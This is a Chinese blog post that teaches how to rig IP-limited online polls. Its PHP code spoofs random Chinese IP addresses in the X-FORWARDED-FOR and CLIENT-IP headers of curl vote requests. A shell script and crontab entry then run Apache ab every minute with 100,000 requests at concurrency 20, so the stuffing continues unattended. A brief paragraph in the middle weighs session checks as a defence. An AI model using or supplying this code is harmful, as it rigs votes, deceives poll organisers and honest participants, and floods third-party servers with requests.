投票扣积分php系统,关于投票系统刷票形式原理(突破ip限制刷票PHP版)

我不是女神ヾ 2023-01-15 14:30 195阅读 0赞

关于投票系统刷票方式原理(突破ip限制刷票PHP版)

先说一点:其实不算是突破ip限制,因为事实上,这个限制是在服务器端的,客户端在牛逼,也突破不了..只是可以一直刷多次票罢了

一个朋友突然发了一个网站,让我帮她投投票..我这人一项比较好说话,就帮她投了.顺便分析了这个网站,发现这个网站的投票系统有ip限制,但是投票是一个ajax请求.那么办法就出来了.

很多投票PC网站都是依靠限制ip,来限制投票人数.那么我用curl伪造IP,那么就可以轻易制造多个IP进行投票.

下面贴上PHP代码:

由于对方是GET AJAX请求,我这里就贴上GET方法,POST方法请自行修改

/\*\*

\* @author 邹颢zouhao619@gmail.com

\*/

$ip\_long = array(

array('607649792', '608174079'), //36.56.0.0-36.63.255.255

array('1038614528', '1039007743'), //61.232.0.0-61.237.255.255

array('1783627776', '1784676351'), //106.80.0.0-106.95.255.255

array('2035023872', '2035154943'), //121.76.0.0-121.77.255.255

array('2078801920', '2079064063'), //123.232.0.0-123.235.255.255

array('-1950089216', '-1948778497'), //139.196.0.0-139.215.255.255

array('-1425539072', '-1425014785'), //171.8.0.0-171.15.255.255

array('-1236271104', '-1235419137'), //182.80.0.0-182.92.255.255

array('-770113536', '-768606209'), //210.25.0.0-210.47.255.255

array('-569376768', '-564133889'), //222.16.0.0-222.95.255.255

);

$rand\_key = mt\_rand(0, 9);

$ip= long2ip(mt\_rand($ip\_long\[$rand\_key\]\[0\], $ip\_long\[$rand\_key\]\[1\]));//随机生成国内某个ip

$url='localhost/ip.php';//这里请填写投票的请求地址

$ch = curl\_init($url);

$header = array(

"CLIENT-IP:\{$ip\}",

"X-FORWARDED-FOR:\{$ip\}",

);

curl\_setopt($ch,CURLOPT\_HTTPHEADER,$header);

curl\_setopt($ch, CURLOPT\_RETURNTRANSFER, true) ; // 获取数据返回

curl\_exec($ch);

curl\_close($ch);

前部分是随机生成国内的某个ip,然后用curl模拟请求.

由于网站限制是一个ip限制1个小时投30个票,因此,我这里就是随机的.

如果网站是限制1个ip投1个,那么最好把ip修改为顺序生成国内ip,这样可以不重复.

然后我在开启,apache ab,每次并发20个投票..很快票就刷上去了.

那么面对这样的恶意刷票有什么解决办法呢?

我没有什么好的办法防御.但是我这样的curl实际上就是webservice访问,这样的访问是不带session或者cookie的,当然,curl也可以模拟带上cookie,然后在带上phpsessionid从而来带上session.

但是对于一个未知网站而言,并不知道他的处理方式.因此,如果判断是否存在session会有效抵挡一批刷票.但是在提示的时候切勿提示是缺少session这样的文字.最好在给session一个有效时期,这样的安全度会提高(但是如果刷票者知道这样的原理,并不意味能防御住他)

补充一点:很多代码上说能够获取访问者真实的IP地址,这个我没有遇过到正确的能够获取用户真实ip的方法.如果有的话,欢迎留言

如果有什么好的防御方案,希望留言.

有时候如果超时可能会导致脚本中断,最好在配合一个crond来每分钟都执行一下脚本

脚本代码为:

\#!/bin/sh

pid=\`ps -ef |grep localhost/vote.php |grep vote.php | awk '\{print $2\}'\`;

if \[\[ $pid == "" \]\];then

echo "vote is start";

nohup /usr/bin/ab -n 100000 -c 20 http://localhost/vote.php

else

echo "vote.php is running";

fi

这个脚本就是每分钟判断这个进程存在不,存在的话,就不管,不存在的话,就启动这个进程..

另外可以不用使用nohup来后台执行

在开启crond每分钟跑起来

crontab -e

编辑crond任务

\* \* \* \* \* /www/web/default/Controller/Script/vote.sh

前5个\*号就是代表每个分钟都执行这个脚本..如果不详,请查阅cron资料

在开启cron

service crond start

大工告成,安心让他自动刷吧.你可以去忙别的事了

Windows系统请自行计划任务,我这里就不帖代码了

发表评论取消回复

表情：

评论列表（有 0 条评论，195人围观）

还没有评论，来说两句吧...

相关阅读

相关 Java使用IP代理突破IP限制进行投票

本文主要讲的是如何突破IP限制进行网络投票。首先前期的准备工作，第一当然得先去获取投票的请求接口以及传参，包括请求头等各种有关的请求信息；第二就是准备IP代理，百度里有

梦里梦外;/ 2023年10月08日 11:45/ 0 赞/ 65 阅读

相关使用 PHP 和 MySQL 的投票和投票系统

[Poll and Voting System with PHP and MySQL][] 在本教程中，我们将使用 PHP 和 MySQL 创建一个安全的投票和投票系统，您可

迷南。/ 2023年09月28日 01:26/ 0 赞/ 136 阅读

相关 python3模拟IP进行刷投票

现在各种投票活动，各个做投票的公司都为公平性，增加了每个IP只能投一票。但是python拿到https://www.kuaidaili.com/free/inha/ 这个网站提

谁借莪１个温暖的怀抱￠/ 2023年07月11日 12:57/ 0 赞/ 45 阅读

相关航空订票系统php,C语言飞机订票系统源代码

\include /\头文件包含命令\/ \include \define N 50 struct flight /\结构体存放航

客官°小女子只卖身不卖艺/ 2023年01月17日 10:50/ 0 赞/ 190 阅读

相关投票扣积分php系统,关于投票系统刷票形式原理(突破ip限制刷票PHP版)

关于投票系统刷票方式原理(突破ip限制刷票PHP版) 先说一点:其实不算是突破ip限制,因为事实上,这个限制是在服务器端的,客户端在牛逼,也突破不了..只是可以一直刷多次票罢

我不是女神ヾ/ 2023年01月15日 14:30/ 0 赞/ 196 阅读

相关搞一下微信投票刷票吧

第一次搞微信投票刷票，其实也不难前言最近由于客户爸爸找到我，说他们在参加一场行业内评选得一个投票活动，目前名次靠后，希望我能帮助他们提供一些技术支持，我看了一下

￡神魔★判官ぃ/ 2022年12月11日 07:26/ 0 赞/ 212 阅读

相关 php+mysql投票_简单PHP和MySQL投票

php+mysql投票 This tutorial will demonstrate how to make a basic poll using [PHP][] and

冷不防/ 2022年12月07日 12:05/ 0 赞/ 215 阅读

相关 java刷票代码_Java 刷票器

展开全部 package cn.ustb.edu.bean; import java.io.BufferedReader; import java.io.File; i

爱被打了一巴掌/ 2022年11月03日 11:43/ 0 赞/ 220 阅读

相关 Java刷票

注意URL和gid等参数的变化！注意提交刷票参数代码的变化（参数顺序、随机参数名长度）： data:\{'b90fc601b40454242223eb3c9fff52

小咪咪/ 2022年08月13日 17:36/ 0 赞/ 218 阅读

相关如何投票刷票

首先，你要防止刷票，就要明白怎么刷票，这东西以前研究过，大概有这么些：简单的： Session限制(关闭浏览器重新打开或者禁用Cookie即可破解) Coo

墨蓝/ 2022年08月08日 05:06/ 0 赞/ 285 阅读